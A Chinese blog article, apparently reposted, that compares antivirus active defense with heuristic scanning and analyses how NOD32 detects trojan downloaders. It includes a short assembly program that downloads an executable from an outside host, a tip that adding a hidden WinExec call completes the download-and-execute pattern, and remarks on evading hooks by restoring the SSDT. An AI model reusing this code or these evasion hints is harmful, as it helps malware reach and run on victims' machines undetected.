那么是不是有主动防御就万事大吉了,当然不是,它Hook这些函数,那么只要我们的木马不调用这些函数,或者将系统服务描述表它hook的函数全部恢复掉,这样主动防御也就等于失效了。 这时候任何的木马就可以明目张胆的侵入你的计算机。
而启发式扫描则不同,启发式扫描一般通过虚拟机代码仿真技术对你的文件在一个虚拟的环境中进行模拟运行,这样就可以分析出你的行为,这样未知病毒的行为都暴露出来了,这样通过此项技术一般都可以发现很多的未知病毒和木马。
启发式有弊端,例如如果某个木马或者是病毒通过某种方式躲过了启发式扫描,则这时候基本杀毒软件就废了,因为已经没有任何作用了,木马几乎可以横行了。这个时候就该考虑要是多个主动防御该多好啊,起码还能进行二次拦截提示用户呵呵。。
以上就是启发式与主动防御的利与弊,至于启发的利,首先效率是相当高的,因为不像主动防御Hook一大堆NATIVE API,这样只要程序调用它hook的函数,则必须要经过它自定义的例程去处理,这样肯定是及其耗系统资源的。并且如果驱动不是很稳定的话,则总会造成蓝屏等状况。 启发则不同,拥有效率高,耗系统资源少,稳定性高等优势。所以建议大家选杀毒软件,如果你的配置不是大众化的,nod32是你的选择,否则我想你肯定不愿意出现蓝屏等情况吧。 还有我想以后大家如果说xxx杀软垃圾,xxxx杀软好的时候,你应该看下此篇文章认识下各个杀毒软件的机制在评论不迟。
下面我们来深入的剖析nod32的启发机制:
启发式我举得应该归根于文件扫描引擎中,所以我们就将其叫做启发式扫描吧。那么nod32,不仅仅只是启发式扫描,并且它也应用了传统的特征码匹配技术(特征码匹配技术就是截获病毒样本,然后人为的进行逆向分析,这里为nod32的病毒样本分析师帅哥致敬,这些帅哥找出这个样本的一些特殊地方,然后将这这些特殊地方作为特征码存放到病毒库中并其一个名称, 例如nod32的起名规则一般为“平台/定义名称,举例 win32/ trojanDownLoader)。nod32的启发从控制台的文件监控选项也能看出来。
我们看到它有一个高级启发式扫描的选项,我们勾选这个,则扫描引擎在扫描文件的时候才会去调用高级启发式扫描的过程。所以这个大家一定要注意勾选啊。否则..如果nod32病毒库没有匹配特征码的话,你就over了。。
nod32的启发比较智能和效率高,其一个原因就是它将一些函数分成一些特定的组合。例如下载,马上执行这就是一个典型的下载者行为。所以nod32一般会将下载和执行作为下载者的依据。(当然可能还要做更多的判断,例如判断这个程序是否还有其他的行为,如果仅仅是下载执行那么必是一个下载者)。
我们做个测试,写一段代码,仅仅是下载的话。nod32是不报毒的。 我们的代码如下:
format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi
ret
;////////////////////////////////// data ///////////////////////////////
.data
szUrl db 'http://www.xyblack.cn/s.exe', 0
szPath db 'c:\1.exe', 0
PathSize = $-szPath
.idata
library urlmon, 'urmon.dll'
include 'api\urlmon.inc'
上述代码编译后,nod32不报毒。
但是只要在 i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的执行函数( 如i WinExec, szPath, SW_HIDE),则nod32报毒。nod32最出色的是它会去分析程序的引入表,举个例子,例如下载执行的函数大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我们的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函数,并引入kernel32.dll,nod32就会报毒,这无疑简化了很多效率,但是却有误报啊,例如对于一些可以构建pe结构的编译器编译的程序,如果人家引入了kernel32.dll但是功能仅仅是一个下载,你确报毒,这无疑是误报啊。。。。
因为这些函数很多正常的程序也是会调用的。而它会依据虚拟机代码仿真技术重点对你引入的这些函数去重点进行分析,分析其行为以及参数等。——对于nod32这样出色的杀毒软件,它不会判断你引入这些危险的函数就直接将你定义为病毒。
转截请注明:文章来自 pc捍卫者 http://www.pchwz.com
本站发布此文为传递更多信息之目的,不表明pc捍卫者赞同其观点